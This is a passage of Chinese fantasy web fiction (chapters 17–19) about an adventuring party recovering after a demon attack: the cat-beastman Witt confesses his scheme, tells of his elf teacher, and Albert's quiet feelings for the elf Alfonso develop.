艾伯特没办法回答阿方索的询问。 他无力解释,也没法解释。 事实上,看见阿方索的那一瞬间,安全感油然而生,确实是真的。 但安心的感觉却没有立刻让人放松下来,反而抽出了他的最后一丝气力。 如果不是不想丢脸,别说补上那最后一剑,说不定他早就瘫软过去了。 原本的恐 惧,不安以及疑惑,都在这一刻蔓延回来。 没人会知道,在阿方索不见的那段时间,艾伯特有多么相信他不会抛下他们,就有多么恐慌。 万一呢,万一呢,万一呢。 万一阿方索来不及回来,万一阿方索遇见了更加危险的事情? 脑子里有两个声音不断争吵,也是靠着这样的争吵,他才一直撑到那支箭到来。 说到底,艾伯特害怕那个万一。 不过,阿方索还是回来了。 艾伯特承认,自己是很贪心。 想要触碰他,也想要靠这样来确认自身的存在。 希望刚才的一切都是一场梦,但是又不想那只是一场梦。 不想承认自己的无能与弱小,又舍不得放弃与那个人产生的羁绊。 他知道这样很别扭,很矫情,但艾伯特没办法。 而且,他最终得到的结果,是落入了一个怀抱。 艾伯特的额头抵在精灵肩头,藻绿的长发杂乱。 他比精灵要高半个头还多些,这个姿势很别扭,需要特意弯腰,但是艾伯特无所谓。 顾不得手上的脸上的灰尘会不会弄脏精灵的衣衫,也顾不得维持不维持团长的体面。 所有的心绪都绕在一起,他嘴唇颤抖,用尽全力才抑制住了哭泣的欲望。 外人看不清艾伯特的脸色,但阿方索肯定能感受到他的情绪。 这样,也许有些显得懦弱,或许,他们的关系也还没有亲密到这种程度。 从小到大的礼仪,也从来没有一点告诉他这样是被允许的。 这些艾伯特都知道。 但是此刻,无论如何也不想离开。 剑掉在了地上。他手指发抖,又重新缓慢地抬起。 触碰到精灵的一瞬间,艾伯特紧紧抓住手边的布料,扯近,深深将脸埋了进去。 他深吸了一口气,告诉自己,就这一次。 这次不一样,这次是劫后余生。 他明明不想哭的,也没有了哭的力气,但是不知不觉间,泪水就浸湿了依靠的的布料。 好没出息。 喉咙不自觉哽咽。 真是的,要是被嫌弃的话就不好了。 但是,再待一会吧,就一会。 只要阿方索不愿意,就立刻松开好了。 艾伯特固执地不动,自暴自弃地沉浸于自己的任性。 精灵没有说话,只是扶着他手臂的手缓缓松开。 果然。 但是阿方索没有在一开始推开他,艾伯特其实已经很开心了。 其实,自从遇到他的那一刻开始,艾伯特就觉得自己已经非常幸运了。 也该识趣一些了。他尽力平复情绪,刚要抬起头—— 一只手伸过来,把他的后脑按了回去。 艾伯特又陷入草木的清香,这一次离得更近,他甚至嗅到了一丝混杂的甜香。 年轻的团长愣住了,一颗泪珠没能落下,就这么挂在眼角,又被亚麻吸去。 然而对方似乎不以为意,不知所觉,还顺手揉了揉他的头发。 过了片刻,艾伯特感受到另一只手也搭在自己的后背上,轻轻拍了拍。 “没事了。” 那个人如此说,声音有些笨拙地安慰。 “我一直在。” 17. 药馆 ……好棒啊。 被抱在怀里的感觉。 一瞬间原生家庭也不痛了,情绪也不低落了,打架之后的疲惫也全都烟消云散了。 艾伯特内心挣扎了一番,这么抱着,会不会有点太……那个了。 但是这是阿方索主动的欸。 咳。 最后,他还是遵循了内心的指引。 说到底,谁知道人这一生中会有几次能被暗恋的人主动拥抱的机会呢? 那定然不能错过。 艾伯特把脸继续埋在布料中,只有发红的耳根露了出来。 维特赶到的时候,迎面撞来的就是此般景象。 他一路上速度很快,至少对猫兽人来说,几乎到达了了身体的极限,难免气喘吁吁,耳朵都撇成了飞机耳。 在阿方索消失之后,维特就陷入了纠结。 他心知如果真的遇到了魔族,如果真的连冒险团和精灵都无能为力,光靠自己那点小伎俩和小胳膊小腿,不帮倒忙就不错了。 迅捷药水的时效已经过去了大半,最近的库存点离这还有一段距离,但是相对来说比诱饵点的地方要近多了。 维特心里明白,光靠自己的那一双腿倒腾,也根本追不上精灵飞一般的速度。 眼见跟随无望,不如先去取点物资,有药剂在手,怎么说也好歹比两手空空要强啊。 而且说到底,冒险团如果真的遇险,和他也扯不开关系。 虽然他这些年摸爬滚打,自认良心恐怕不知何时早就被狗给吃了,就算还有,也剩不下多少。 但是,让他就这么眼看着别人,特别是来帮自己的人,栽到自己挖下的坑里,维特多少也有点不好意思的。 再说,万一冒险团的同伴真出了事情,阿方索不肯用精灵的力量帮助自己,那他这一番算计,岂不是全部都辜负了? 权衡利弊之下,维特决定先去自己平时在树林里的打野点。 掀开隐蔽的树叶,他也顾不上计算价值,只要是觉得能用上的药剂,就全都左七右八地拿好。 只恨不得尾巴都用上,一股脑全都背了上来。 一定要来得及,一定不要真的出事啊。 维特一边飞奔赶向冒险团的方向,一边在心里祈祷。 他千赶万急地追到这里,路上给自己做了无数的心理建设,什么场景都想象了。 然后就看见了他唯一没有想到的画面。 精灵抱着一个看不清脸的长发男,两人姿势亲密,一把漂亮的银剑孤独地躺在他们脚下。 虽然看不清绿色长发男具体的面容,衣物也有些残破。 但那个少年把脸贴的那么近,阿方索的手还放在少年的头发上。 纵然还隔着一段距离,属于猫兽人敏锐的目光还是让他瞬间捕捉了少年露出的那抹绯红。 维特:…… 难道,他们也…… 精灵,也会吗? ……真是,人不可貌相。 等等,为什么他要说“也”? 维特猛地甩了甩耳朵,现在不是想这个的时候。 “那个,各位……” 他清了清嗓子,倔强地增加存在感。 听见维特的声音,阿方索放下了手,艾伯特也缓缓抬起头。 嚯,长得还倒还可以。 维特想。挺登对的。 就是不知道是不是错觉,为什么觉得这个人眼眶也有点红。 “他,尼尼,骗人。”阿方索指向维特。 众人目光都看向维特,维特知道自己此时百口莫辩。 他其实也没有什么可辩的。 同样的耳朵和尾巴颜色,一切尽在不言中。 “对,我,就是维特·尼尔利。”最终,他只能承认,声音干干巴巴的。 “……也就是尼尼。” 一时间,整个环境陷入死一般的寂静。 “所以,你明明有人类的意识,却一直装着猫跟着我们?”诺曼面露难色,不可置信,“还半夜在我屋子里跑酷?” “呃,化为原形之后,有的时候,我也没法控制自己啦……”维特有些不好意思地解释,尾巴不由自主地夹在腿间。 “这个,倒不是真的故意的……” “那就说明有别的地方是故意的,对吗?”艾伯特打断他,语气冷漠。 维特被噎了一下,他不知道说什么,干脆就闭嘴,把自己的那些药剂分发给了冒险团。 “我承认我有错。但现在也别说这个了,你们的同伴还在昏迷,先把她安置再说其他的吧。” 梅茜毕竟是魔族,身体素质并非普通人类可比,维特的药剂又确实有效。 经过有力的药剂补充后,她恢复了很多,已经可以站稳,脸色也好了许多。 “现在治疗为主吧,妮娜需要休息。”梅茜喘了一口气,“其他的事情,以后再说。” 维特点点头,“我知道有个小道直接到镇里,你们跟我来。” 说着,他干了一瓶增加力量的药剂,走过来扶住了妮娜的另一边身体,顺便拎起了药剂箱。 “……对了,那个黑色的,是魔晶吗?很值钱的,先捡起来吧。” “……剑,也别忘了。” 小小的药馆内,一个少女正在此工作。 她身穿围裙,面料看起来不新,但是十分整洁。 本来应该打上了补丁的地方,被绣上了小小的花朵,别有意趣。 年纪不大,动作却十分麻利。 维特推门进来的时候,她正拿着钳子,夹着一块纱布在热水中反复浸泡。 “稍等一下,我还在忙……” “是我,艾莉丝。”维特开口。 少女立刻停止手中的动作,她下意识抬头。 看见冒险团的那一刻,她下意识笑了一下,但是很快又注意到他们那副惨样,顿时皱起了眉头。 药馆的主人,正是冒险团初来此地时,遇到的在街边跳林地舞的那个少女。 她的名字叫艾莉丝·奥尔森,在镇子里经营着一家小药馆,也收治病人。 看见维特,少女的表情顿时有些微妙。 两人对视一眼,艾莉丝二话没说,带着他们绕过密密麻麻的病床,带去了药馆深处的一个小房间。 房间整洁而舒适,不仅有床铺,还有桌椅,一张不大不小的沙发摆在一边。 阳光从窗户边斜斜洒落,映出温柔的光影。 几人都接受了检查与治疗,所幸并无大碍,大部分都是外伤,只是最好疗养一段时间。 幸好阿方索回来得及时,恶魔想将他们一网打尽,所以一直没有对单独某一个下死手,而是进行整体的消耗。 如果精灵回来的再晚一点,或者没有那么及时地反应过来,后果也许就没有这么轻松了。 经过了简单的包扎,除了妮娜之外,其他人都已无大碍。 艾莉丝利落地拧了一条热毛巾,轻轻放在了躺在床上的妮娜的额上。 “好了,问题不大。”为了不惊扰病人,兽耳少女的声音很轻,“没有什么特别严重的内伤,她只是太累了,休息一会就好。” “精灵的治愈术,真神奇呀。”她有点感叹。 “没想到你不仅跳舞跳得好看,护理方面也这么专业呢。”诺曼笑嘻嘻地凑过来。 “得了,你都快成绷带怪人了,还管不住嘴吗?”梅茜上一秒还在对苦涩的药水皱眉,下一秒看到诺曼轻浮的样子,没好气地瞪了他一眼。 “所以,你和维特认识?”梅茜看向艾莉丝,她的语气很平静,但是眼神已经不复一开始相遇的温柔。 “嗯……那个,真的很抱歉。”少女笑容尴尬,心虚地移开视线。“不过我当时除了和维特的关系,其他也没有怎么骗你们啦。” 她的声音越来越小:“我之前确实和父亲去过王都,林地舞也确实是在那边学的。不过我当时去那里,是为了学习有关护理和疗愈的知识。” “我爸爸的意思是让我留在王都。但是在学成之后,我没有留在那边,而是回到了小镇,开了这家药馆。”

“因为小镇这边医疗实在是太差了嘛。”少女撇了撇嘴。 “虽然家里没说什么,但我其实一直在赔钱啦。”艾莉丝不好意思地对了对手指,“因为小镇里的大家有时候不那么富裕,而且有时候,我也不好意思开口……” “有些药材实在找不到,维特又是镇里唯一一个知道药材知识,又经常进入失语密林的。” “而且,说来也巧,我和他的妹妹刚好是一个名字……一来二去,我们就熟了。” “……算了,剩下的,等妮娜醒过再说吧。”梅茜闭了闭眼,叹息道。 她走到床边坐下,指尖抚上床上少女的眉心,轻轻揉开了皱起的眉头。 艾莉丝偷偷打量她的神情,乖乖点头。 维特一直准备着进行解释,但是看梅茜都这么说了,周围人也全都没有要询问的意思。 就算带有表达欲,也只能把一肚子话憋在心里。 房间安静了片刻,艾莉丝悄悄凑到一边焉头耷脑的维特旁边,和他说悄悄话。 “对了,你知道吗?” 维特的一只耳朵立了起来。 “……就前两周,米莉阿姨问我你有没有喜欢的女生,她说你这个年纪,就算不想结婚,也该准备订婚了。” “……你没和她说什么不该说的吧?”维特两个耳朵都竖起来,警惕道。 “哪能啊,”少女笑嘻嘻地说,“我说阿姨,您急什么,你看你家维特那——么一表人才,又那么有实力,喜欢他的姑娘能从镇头排到镇尾去,都是他相看别人。” 维特被夸的有些不好意思,挠了挠鼻尖,他下意识拿起旁边桌子上的水杯,喝了一口。 “而且利恩·格林比他还大两岁,现在不还是单身吗?”少女对他挤挤眼睛,“他们俩一起长大,说不定利恩有消息了,维特也就快了嘛?” 维特呛了一口水,回过神来,脸上一阵青一阵红一阵白,他咬牙切齿,尾巴都炸了起来,恶狠狠地说:“你……” “我什么,”少女一点不怕,她眨了眨眼,“我可什么都没说。” 维特喘了口气,有气无力地再次拿起杯子,怼在嘴边。 “……算了,你就贫嘴吧。” 少女看他发红的的脖颈,不服气地吐了吐舌。 艾伯特正坐在沙发的角落,听到两人的对话,他不自觉竖起了耳朵。 ……看来,有奸情啊。 如果维特和艾莉丝提前串通好了,那利恩清白的可能性也就接近于零了。 所以,当时带他们去秘密基地,不和他们一起进入失语密林,都是他们计划好的一部分? ……被算计了啊,好不爽。 那维特的父母呢?他们是否知情?还有,那个一开始交给他们委托的前台,到底是怎么回事? 事情疑点太多,艾伯特正沉浸于思索。 忽然,一点微凉的触感轻轻压上鼻梁。 一只纤白的手伸来,在他的眼前一晃而过。 触感算不上柔软,甚至有些粗糙,但是也足够让他心跳加速。 “唔。” 艾伯特的脸红了起来,一时有些失神。 是阿方索。 艾伯特的鼻梁在刚才的战斗中擦伤了一小块,屋子里创口贴刚好用完了,就放着没管。 其实只是一点小伤,再迟一会就自己愈合了。 只是没想到阿方索竟然注意到了,还拿来了创口贴,还亲手给他贴上。 真是意外之喜。 “……麻烦你了。” 明明刚才回来的路上,已经扶着他走了一路了。 “没事。” 阿方索对他笑了一下。 精灵弯起了漂亮的眉眼,碧绿泛蓝的眸子如盈盈一捧。 艾伯特眼睛都舍不得眨,看的有些呆。 忽然身边一沉,他看着精灵自然地在他旁边坐了下来,又更加自然地理了理艾伯特耳边一缕翘起来的发丝。 “我,担心。” 耳边,那道声音轻轻响起。 18. 报应 就在话语落地的一瞬间,艾伯特的脸红成了番茄。 不是,你们精灵说话都这么没轻没重吗? 难道,阿方索也对他有点……不一样吗? 少年一颗萌动的心砰砰直跳。 “所以,我对阿方索来说,算得上重要吗?” 艾伯特低下头了很久,终于鼓起勇气,问了出口。 他从下向上抬眼,羞涩地打量着对面的神色。 就得到了此生难以忘却的回答。 “大家,要一起。” 精灵对他点了点头,艾伯特的笑容在那一瞬间僵到了脸上。 为了表达决心,阿方索还伸出一只手,看着身边的少年,坚定握紧了拳。 殊不知对面剧烈的心跳因为这一句话瞬间停跳,差点年纪轻轻就得上心梗。 看着阿方索做出这样正直的表情,艾伯特也是不知该哭还是该笑。 “哦,大家啊。” 艾伯特有点失望。 原来不是单指他嘛。 不过换个角度,自己其实也是在大家里的啊。他在心里如此安慰。 这样一想,心情好像也变得不错? 好啦,慢慢来吧。 妮娜醒来的时候,是在第二天的清晨。 悠悠转醒时,率先传来的是头颅内部的疼痛,随后是口舌的干枯,和身体激烈运动后久躺造成的酸麻。 她闷哼一声。杂乱的记忆翻涌,从一点点的碎片,渐渐拼凑出完整的剧情。 在寻找失踪少年的路上,他们遭遇了魔族的袭击。 妮娜因为一直想着刚才奚落阿方索的事情,一时没有反应过来,成为了恶魔突袭成功的第一个目标。 她身体素质其实不算太差,但是毕竟是第一次遇到这种情况,只能强撑着不要完全倒下。 妮娜不想只成为队伍的累赘,可是剧痛袭心,实在也无能为力。 那种几乎侵蚀进每一块血肉的痛裂感,即使在恶魔被削弱之后也没有完全散去。 直到被扶住肩膀的那一刻。 那种感觉,简直无法用言语描述。就像一块柔软的绢布,轻柔地将痛苦抹去。 简直就像……一种对生命从内而外的“滋养”。 长睫剧烈地颤动,她挣扎地睁开眼,眼前的模糊渐渐清晰起来。 与密林的神秘不同,眼前的天花板由木材制成,颜色温润柔和,毫不刺眼。 “啊,你醒啦。”一道温柔的女声传来,伴随着轻快的脚步声,妮娜被柔软的手扶了起来,一杯水贴近了唇畔。 此时的清水对她来说,是真正意义上的甘霖,妮娜也顾不得什么体面,下意识地咚咚饮下。 一杯水被喝得干干净净,妮娜才觉得自己重新活了过来。她看向旁边的少女,认了出来。 “你是,那个舞者?”妮娜惊讶。 “对哦,你没认错。”艾莉丝对她笑了笑。 “不过现在,我的身份是这家药馆的主人,还没自我介绍过吧?我的名字是艾莉丝。” “具体的情况……有点复杂。不过现在已经没事了,到时候让你的伙伴跟你说吧。” “他、他们现在怎么样了?”一提到冒险团,妮娜就有些激动。 她努力撑起身子想要坐起来,却因为动作太大,开始不停地咳嗽。 艾莉丝连忙按住妮娜的肩膀,轻轻拍着她的背。 “好了,都说没事了,别着急。” “你的伙伴们也都多少受了伤,我这里床位不够,他们就先回旅店了。”艾莉丝声音轻柔,一边说着,一边扶着妮娜躺下,给她掖好被角,“你先好好休息吧,估计等一会儿,他们就过来了。” 哪怕心里么急切,妮娜现在都只能点头。她勉强维持住脸上的表情,尽力保持礼貌。 “好的,谢谢。麻烦你了。” 妮娜语气平静,被子下的手,却紧紧抓住了床单。 维特推门进来的时候,神情有些蔫蔫的。在他的旁边,一只白色的犬兽人脸上挂着抱歉的微笑。 利恩·格林,维特的竹马,也是共犯之一。 冒险团已经到了一段时间了。妮娜倚靠着床头,梅茜坐在她的床边,长长地叹了口气。 “你可算醒了,”善魔说,“我昨晚担心的都没睡好觉。” 她点了点妮娜的额头,“要是第一次带孩子就把孩子带丢,我看我也不用再当什么向导了。” “是我当累赘了……”妮娜低下头。 “哎哎哎,说什么丧气话?别和艾伯特学啊。”诺曼震惊,大小姐昏迷了一阵怎么起来成这样了?别是被夺舍了吧? 艾伯特扯了扯嘴角,“能不能不要什么都拉上我。” “但是,我也有责任。”他垂下眼睫,“我是团长,没能保护好团里的成员,是我的失职。” “好啦,既然都是伙伴,就不要再多说这些啦。”诺曼笑着摇了摇头。“我也没派上什么用场啊。” 阿方索站在艾伯特旁边,伸手拍了拍他的肩。 艾伯特原本紧锁的眉顿时松开了一些,转头对他笑了一下。 “我没事。” 妮娜看着阿方索,嘴唇动了两下,最终微微抿起,什么都没有说。 转而将眼神转到了一直在门口那边尽力缩减存在感的维特二人。 艾莉丝早就躲了出去,毕竟识时务者为俊杰。 维特:…… 聊啊,怎么都不聊啊?这不正是你们提升团队感情的好时候吗?看我干嘛? 好吧。 反正本来也没想逃掉。维特深吸一口气,小步挪了出来。 强忍着心中的尴尬与羞耻,他一字一句,把自己从头到尾的算计都一五一十和盘托出。 直到实在是说无可说,才声音渐低,缓缓闭上了嘴。 “挺狂啊,小子。”诺曼听完,拍了拍大腿,“你知道床上躺着的是谁吗?那你知道在那边坐着的那个,就我们团长,是谁家的孩子吗?” “哎?”维特一愣,他本来已经准备好迎接怒火和质问,没想到对方语气比他想象中要好很多,甚至还带着一丝调侃。 这话怎么听起来好像不对呀?维特眨了眨眼睛:“什,什么?” 不是,他就知道有个精灵,其他的,那只狐狸也没说啊?? 虽然现在一看,穿着的衣服,看起来确实不是很便宜的样子就是了…… 然而,诺曼接下来的话,更是将维特那一点幸存的侥幸狠狠击碎。 “床上躺着的这位小姐,是肯特家的三女儿,就是肯特伯爵的那个肯特哦。” “那位绿头发的团长,是沃德家族的二少爷,就是那个最有名的沃德,位同公爵的那个。” “这位温柔的善魔大姐姐,可是超有名的哦,现在王都学院的特邀学者里,还挂着她的名字呢。” “阿方索就不用说了,精灵嘛。我呢,只是一个小小的商人,但是多少还是有点人脉的。” 诺曼笑眯眯地比了个一点点的手势,但是谁都知道,那个一点点,可能比王都还大。 维特越听越心如死灰,他捂住脸,欲哭无泪。 误闯天家了。 不是,现在这些大人物,这么喜欢组冒险团吗?什么奇怪的爱好啊?? 唏,可以和解吗? 他还年轻,不想误闯地狱,天堂也不行。 利恩上前一步,把维特护在身后。 “这件事是我们的问题,”他的声音低沉,“只要能补偿各位,哪怕是一点点,我们也会全力以赴。” “想让我们不追究?可以。”善魔把尾尖在指尖绕了绕,看向维特。“但不追究到什么程度,取决于你这边这位小朋友的诚意咯。” “你说,你的老师是个精灵?”梅茜眯起了眼睛,“仔细讲讲。” 维特与利恩对视了一眼。片刻后,他叹了口气,一个小跳,坐在了旁边的桌子上。 “我遇见那个人的时候,差不多是我9岁生日。”维特深吸一口气,他收起了笑容,双手搭在一起,规矩地放在腿上。 “这么一看,时间过去也快8年了啊。” 维特的语气谈不上多么感伤,只是在讲述一件从前发生的事,一个故事。 但是在场的人都能看出来他神情里面的怀念。 或许并不算多,但是确实存在。 那个时候,维特还是个名副其实的小猫,木林镇也没有现在这么繁华。 他比镇上的其他孩子要聪明一些,早熟一些,漂亮一些,但也仅此而已。 人们只知道这个孩子比其他的孩子算数时要更快一些,记性也要更好,却不知道那小小的身躯中蕴藏着怎样的潜力。 维特也不知道。 那时他的第一个妹妹刚出生不久,家里的经济压力有些大。 虽然父母从来没有说过什么,但是维特早有察觉。他从小就经常帮忙干活,也经常靠小聪明赚一点小钱。 但是,那对于生活来说,还远远不够。 维特从小就非常有主见,说不好听,就是想一出是一出。 特别旁边还有一个利恩。利恩比他大一些,从就是街坊邻居认证的好孩子,偏偏对维特百依百顺。 而有利恩陪着,维特就几乎什么都敢做。 两个人一唱一和,什么事情都做得出来。 维特打起了失语密林的主意,利恩劝不动他,就陪他一起。 他们经常会瞒着家里人偷偷进入密林,在其中寻找一些能卖得出价钱的草药和果实之类。 维特记性好,记得住那些来到小镇的商人们要的都是什么样子的。他运气也比较好,一来二去,竟然真的挣到了钱。 有一有二,就有三有四。 然后,有一天,就遇见了那个改变他人生的女人。 说起来,那是一个凉爽的夏夜。 维特偷偷摸摸地从家里溜出来,与等在小道口的利恩会合,准备今 晚继续造就他的大业。 本来一切顺利,但是在往回走的时候,维特遇到了一个人。 或许不能称之为人吧,与他见过的所有人都不同。 她身穿一件白色的衣裙,耳朵尖尖的,棕色的长发散落,长长的睫毛投下阴影。 是精灵。 但是诡异的是,她旁边没有任何防护的措施,就直直地躺在那里,双手放在身边,看起来像是没有意识。 小小的维特当时看呆了一瞬。那时他对精灵还没有什么特别具体的认知,只是觉得,这个人真好看啊。 但是一个人半夜三更躺在失语密林里,还是用这样的姿势,很难让人联想是不是出了什么事。 按理来说,维特当然不会多管闲事。 他有自知之明。就算别人需要帮忙,他一个小孩子能帮得上什么忙?别到时候弄得自身难保。 而且手中的草药情况特殊,一经摘下之后,就不能再被手以外的东西触碰。 特制的容器还在小镇,如果去救那个人的话,今晚就白费了。 然而,那一次,他咬咬牙,扔掉了已经攥在手中的草药。 “你这样的猫,竟然还会抛下到手的鱼去帮别人?”诺曼怀疑。 “因为,她长得很漂亮啊。”维特老实地回答。 诺曼:。 好像利恩是说过这猫颜控来着。 更扎心了,合着在场所有人,就他没被颜控呗。 真是年纪大了,干什么都心酸。 维特也是没招了,虽然听起来很扯,但这句话,他是真的没撒谎。 “不过,我也没有别的意思啦。”维特顶着大家复杂的眼光,手急地乱摆,“这不是猫之常情吗?难道你们就不喜欢好看的吗?” 此话一出,大家的目光都齐刷刷看向了阿方索,又各自离开。 也是。 精灵似乎还在状况外,一脸茫然。 “我和她就是这么认识的。”维特吐了口气,表情无奈,又带着几分愤愤,“我一叫她,她就睁眼了,其实她根本没事。后来她跟我说,她只是单纯觉得比较好玩儿,所以躺在那里。” 看来,这位也是个很有个性的精灵。 “她说为了补偿我丢失的那些草药,可以教我怎么制作药剂,还有关于草药相关的知识,说我以后可以靠这个挣钱。” “我们俩大概相处了两年多,她教了我很多东西,识字,也是她教我的。” “后来,她就走了,临走的时候什么也没留下。现在那些书籍和器具都是我自己搜罗的,我挣的钱大部分都砸在那里了。”维特摊了摊手,“她说也教给我不少东西了,怎么样也不至于饿死。她闲得发慌,也要出去转转了。” “她说以后出门,万一刚好碰上了,可以找她帮忙。但是出门别说我是她教出来的,省得给她找麻烦。” 还非常懂得风险规避。 “那,当时她怎么和你说阿方索的?”艾伯特追问。 维特顿了一下,舔了一下嘴唇。 “她说,让我以后要是遇见那个孩子的话的话,多帮帮忙……” “就这些?” “嗯……”维特干笑了一下,“她还跟我说,让我老实一点。” 明显哪一点都没有做到啊。 “所以,你怎么看她?”梅茜问。 “她……是我最重要的老师。”说着,维特难得有些腼腆,他略微低下了头,碰了碰脸颊。 “我想,我这辈子,总要做点东西出来,也不算枉费那几个月。” “想法很好。”善魔点了点头,“如果我没因为这个差点没了命,就更好了。” 维特的头更低了,整个人几乎躲在了利恩身后。 利恩安抚地摸了摸他的肩膀,脸上带着歉意,“这个,真的对不起,我们也没想到……” “算了,饶过你好了。”梅茜摆摆手。“委托金记得照常付,作为精神补偿,双倍不过分吧?” “不过分,不过分。”维特疯狂点头。 虽然有些肉痛,但是孰轻孰重,他还是分得清的。 “对了,还有关于魔花的事,阿方索昨晚都跟我们说了。”善魔竖起了一根手指,“我们讨论过了,刚才我问妮娜了,她说也没意见。” “所以……”猫耳少年猛地抬起头,眼睛闪闪,转过头,满怀期待地看着精灵,尾巴都竖了起来。 “不行。” 阿方索干脆地回答。 维特的神情瞬间变得落寞,耳朵都垂了下来。 他垂头丧气,失望地啊了一声,有气无力地瘫软在了旁边的利恩身上。 “好啦,现在很不错了。”利恩接住他,揉了揉维特的耳朵,安慰道,“人家没有跟我们计较,已经是人很好了。再说,遇见一场,也是有缘,不是吗?” “是啊,”艾伯特幽幽地开口,有气无力。 “在这茫茫人海之中能够相识,也算得上是报应一场。” 19. 雨霁 阿方索粉丝 养伤的日子说的上无聊,但也还好。 虽然艾莉丝时不时提醒他们好好休息,但是没有一个人乖乖地待在房间。 那天坦白之后,维特很快付清了尾款和赔偿,虽然拿出来的时候很心疼,确实是一分没少。 这几天,这个猫看起来倒是真的老实了。 自从被拒绝之后,他就没再提过要阿方索帮忙的事情。 只是十天里有七八天都跑去失语密林里,进进出出,要不然就是待在他自己的那个秘密小屋,闷在里面不出来。 偶尔在木林镇的小街上见到他,维特也是匆匆忙忙的样子,点个头就算打招呼了。 利恩说他没事,他说,维特之前也偶尔有这样的时段,有点像走火入魔,但他会按时给他送饭。 利恩说,维特食欲不错。 当时冒险团选择拒绝,平衡了许多要素。 首先,他们的经费还没有贫瘠到那个地步,冒险团没有谁是真的缺钱。阿方索的话……他估计根本不在乎。 其次,曙光冒险团还登记在公会门下,瞒着冒险家公会做出这样的事情,按照条例来说,肯定是是违规的,一旦被发现,很有可能会被处罚。 无论维特的承诺再诱人,那也是未来的事。 而未来,是世界上最变化多端的词。 最根本的原因,还在阿方索身上。 他不想去做,任何人都不能逼他。 精灵族固然拥有与植物沟通,并且在某种程度上驱使自然的能力,但是这并不代表他们就会随意使用。 恰恰相反,他们对自然的尊重大于绝大部分种族。 阿方索可以斩断攻击他们的藤蔓,也可以借助母树的力量化作箭弩,但是他没有理由为了维特的实验去维持魔花的生长。 而且魔花只要存在一天,失语密林就一天不完全安全。 今天能引来恶魔,明天能引来什么,谁都不敢打包票。 冒险家公会有足够的实力,也有足够的经验,交给他们,至少能保证木林镇不会因为这朵魔花而陷入危机。 何况曙光冒险团不可能时时刻刻待在木林镇,如果阿方索出手,万一在他们离开之后出事的话,一切,又该算在谁的头上? 冒险团?阿方索?还是维特? 何况到了那个时候,说不定早已无可挽回。 梅茜当然能明白维特的想法,说实话,同为实验者,也同为普通家庭出身,她相当理解他此刻的心情。 想要证明自己,想要做出事业,想要让在意的人过上好日子。 这些,都是再正常不过的想法。 但是有些时候,光靠着一腔热血是做不成事情的。 维特坦白的那天夜晚,冒险团就离开了药馆,回到了住宿的旅店。 艾莉丝没好意思开口要冒险团的医药费,毕竟她也是共谋,少女推辞再三,但是艾伯特还是坚持给了。 虽然骗人是真的,但是情报也不算完全出错,私心来说,艾伯特不太想和她扯上关系。 倒不是说艾莉丝是什么十恶不赦的大坏蛋,恰恰相反,她看起来是个很好的女孩。 只是艾伯特还是有点介意阿方索夸过她跳舞好看。 魔晶被托以可信的人,送去了最近的公会站点鉴定。 一旦被鉴定成功,公会的奖励是一笔不菲的财富,曙光冒险团也可以借此快速打出名声。 魔晶本身也是相当珍贵的宝物,无论是用来锻剑还是制作魔法阵,都是千金难求。 冒险团可以选择自己留下,公会也有回收的渠道,只不过,还是留下的更多,他们也不例外。 同时送去的,还有魔花的消息。 这种程度的魔物,想来接到消息之后,不时便会处理,不过是彻底铲除还是移植,就看那边的意思了 不过按公会一贯的作风,梅茜用自己的尾巴都能猜到他们选哪个。 不过她现在在忙别的事,对此暂时不感兴趣。 但到底无论怎样,在得到公会回信前,他们也只能待在木林镇。 小镇到底是很好的小镇,人们对这几个外来者也没有排斥。米莉妈妈不知道真相,但对他们找到维特十分感激,时不时就邀请他们去吃饭。 诺曼秉持着能省就省的态度,每一次蹭饭都去。 他一张嘴能把米莉妈妈夸得天花乱坠,引得她捂着嘴笑,每次也都很主动地洗碗。 阿方索则是另一个极端,不过照样很受喜欢。他每次吃饭的时候都很安静,速度也很快,但每一次会很认真地吃完。 而且长得好看,看着他那张脸就能多吃两碗饭。 他来吃饭的这两天,尼尔利家餐桌上奶油蘑菇汤的出现率明显提高。 艾伯特对食物倒没有什么特别的爱好,不是特别猎奇的食物他都能接受。 不过,能和阿方索一起吃饭,真是美哉美哉啊。 就算餐盘里摆的是石头,他也能面无异色地吃下去。 那对双胞胎似乎对诺曼特别感兴趣,喜欢爬到他身上揪他的头发。被八岁的小姐姐生气地训斥,瘪了瘪嘴,倒也没哭。 据诺曼观察,他们对精灵可不是这个态度。 对上阿方索,这两个小孩就变得格外乖巧。 别说揪了,就是摸,也要眼巴巴地看好久。直到妈妈同意之后,才小心地伸出小手碰一下,摸到之后高兴得跟什么似的。 这就是尼尔利家的基因吗?诺曼抽了抽嘴角,真是随他们大哥了。 妮娜这几天没怎么出门,聚餐也没有参加。 她闷在房间里,饿了就下楼随便吃一些。诺曼叫她,她说自己累,不想动。 诺曼也不好再说什么,也只能任由她去。 今天早上,天空还算晴朗,中午的时候云就堆在了一块。 天气影响心情。妮娜闲着无聊,难得想找人谈谈心,但梅茜没在房间,她又不好意思找其他人搭话。 她烦躁地翻了翻自己的笔记,最终砰的一声关上,长长吐出了一口气。 这几天妮娜半夜经常惊醒,倒不是身体原因,她早就不难受了。 只是一想到那天在失语密林里,阿方索关于吊坠的回答,她就难以入眠。 呃……怎么能对他说出那种话呢…… 可是话既然说出口,就收不回来;要是当面道歉,妮娜又张不开口。 她犹豫再三,终于还是悄悄推开了门。门外很安静,没有人动作的声音。 走下楼梯,走出旅店。踏上小镇的街道时,妮娜没有具体的目的地,只是在漫无目的地闲逛。 不知过了多久。忽然,一滴凉意染上她的脸颊。 妮娜抬头,天空已经要坠下雨滴。她来不及思考,下意识跑向最近的屋檐。 雨幕像一层无形的屏障,隔绝了世界与她,周围忽然安静了下来,只剩下妮娜一个人站在那里。 她不想呼救,也不想用传音石。 妮娜抱着双膝,蹲在屋檐下,看着纷飞的银丝发呆。 下雨了。 雨滴打湿了她的裙摆,鞋面也渐渐开始变深,但是妮娜都不想在乎。 如果没有加入冒险团,她现在应该在哪呢? 现在应该在舒适的家中,躺在柔软的床铺上,就算忽然想在花园漫步,也会有仆人为她撑伞。 妮娜本来觉得自己已经习惯了那样的生活,可是现在觉得,那样的生活也和其他所有被雨幕遮掩的事物一样,总归是离她很远的东西。 可是,到底有什么可以是她能真实感受的呢? 妮娜想着。 忽然,周围的光线好像变得更暗,原本细碎的凉意被隔绝,带来微微的草木香气。 雨,停了吗? 妮娜微微侧头,向上看。 在那一瞬间,她愣住了。 阿方索站在那里,他一只手撑起了斗篷,挡在妮娜的上方,为她隔去了从上方而来的雨滴。 